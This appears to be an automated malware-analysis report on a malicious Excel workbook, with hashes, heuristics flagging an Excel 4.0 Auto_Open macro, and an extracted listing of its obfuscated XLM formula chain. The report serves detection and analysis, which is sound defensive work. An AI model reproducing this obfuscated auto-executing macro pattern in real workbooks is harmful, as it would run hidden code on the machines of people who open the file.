Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ccd099596c10fdb…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:31 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: d868b49afa46cba164f9ebcb19ab4fc0 SHA-1: d8a44f98180920b566ca1ad3f8651d625a8d6ce5 SHA-256: 3ccd099596c10fdbf58a6170d1a9bb341c88b22b388533f4b001d2858cd65008
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6626 bytes
SHA-256: 87cffffba67d9a9bbb53246e94b4ebdc2446f5ea6fea3b788110bc97d066c2ee
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jkc
' 0018     20 LABEL : Cell Value, String Constant - AHEIV len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D143 
' 0018     20 LABEL : Cell Value, String Constant - cDlIA len=0 
' 0018     25 LABEL : Cell Value, String Constant - cwGdShNcfZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - efikReo len=0 
' 0018     25 LABEL : Cell Value, String Constant - EpVEbxyAFG len=0 
' 0018     22 LABEL : Cell Value, String Constant - EYHzgGh len=0 
' 0018     26 LABEL : Cell Value, String Constant - fbpjitQTnGL len=0 
' 0018     21 LABEL : Cell Value, String Constant - HlSwLY len=0 
' 0018     21 LABEL : Cell Value, String Constant - HTQLUY len=0 
' 0018     24 LABEL : Cell Value, String Constant - IwGjiQqvV len=0 
' 0018     25 LABEL : Cell Value, String Constant - kNQgRvGZxJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - KvKrYp len=0 
' 0018     20 LABEL : Cell Value, String Constant - pydGv len=0 
' 0018     26 LABEL : Cell Value, String Constant - sbEAAOeSWPn len=0 
' 0018     21 LABEL : Cell Value, String Constant - STuEqX len=0 
' 0018     20 LABEL : Cell Value, String Constant - tsicj len=0 
' 0018     22 LABEL : Cell Value, String Constant - VGbYNAR len=0 
' 0018     27 LABEL : Cell Value, String Constant - weXAUBYmbyKu len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZAOuMfqfNi len=0 
' 0018     25 LABEL : Cell Value, String Constant - zTMMmBzvNM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jkc,D56,"SET.NAME("VGbYNAR",0+VALUE("0"))",""
'  jkc,D61,"SET.NAME("HTQLUY",VGbYNAR)",""
'  jkc,D64,"SET.NAME("sbEAAOeSWPn",VGbYNAR)",""
'  jkc,D67,"SET.NAME("IwGjiQqvV",COUNTA(cwGdShNcfZ))",""
'  jkc,D70,"SET.NAME("ZAOuMfqfNi",COUNTA(STuEqX))",""
'  jkc,D75,[],""
'  jkc,D79,"SET.NAME("KvKrYp","")",""
'  jkc,D82,"HTQLUY",""
'  jkc,D84,"SET.NAME("zTMMmBzvNM",HLOOKUP("*",cwGdShNcfZ,HTQLUY,FALSE))",""
'  jkc,D87,"efikReo",""
'  jkc,D90,"SET.NAME("pydGv",VGbYNAR)",""
'  jkc,D92,[],""
'  jkc,D94,"pydGv",""
'  jkc,D96,"tsicj",""
'  jkc,Q99,"",684.00000000000000000000
'  jkc,D100,"kNQgRvGZxJ",""
'  jkc,Q100,"",193.00000000000000000000
'  jkc,Q101,"",-200.00000000000000000000
'  jkc,Q102,"",494.00000000000000000000
'  jkc,Q103,"",816.00000000000000000000
'  jkc,Q104,"",485.00000000000000000000
'  jkc,D105,"EpVEbxyAFG",""
'  jkc,D107,"SET.NAME("HlSwLY",VALUE(HLOOKUP("*",STuEqX,EpVEbxyAFG,FALSE)))",""
'  jkc,D112,"EYHzgGh",""
'  jkc,D114,"KvKrYp",""
'  jkc,D119,"sbEAAOeSWPn",""
'  jkc,D121,NEXT(),""
'  jkc,D126,"AHEIV",""
'  jkc,D128,[],""
'  jkc,D133,"fbpjitQTnGL",""
'  jkc,D135,NEXT(),""
'  jkc,D139,RETURN(),""
'  jkc,D168,"SET.NAME("cDlIA",D56)",""
'  jkc,D171,"cwGdShNcfZ",""
'  jkc,D176,"SET.NAME("STuEqX",R54C14)",""
'  jkc,D178,"SET.NAME("fbpjitQTnGL",189)",""
'  jkc,D183,"SET.NAME("weXAUBYmbyKu",4)",""
'  jkc,D188,cDlIA(),""
'  jkc,D189,HALT(),""

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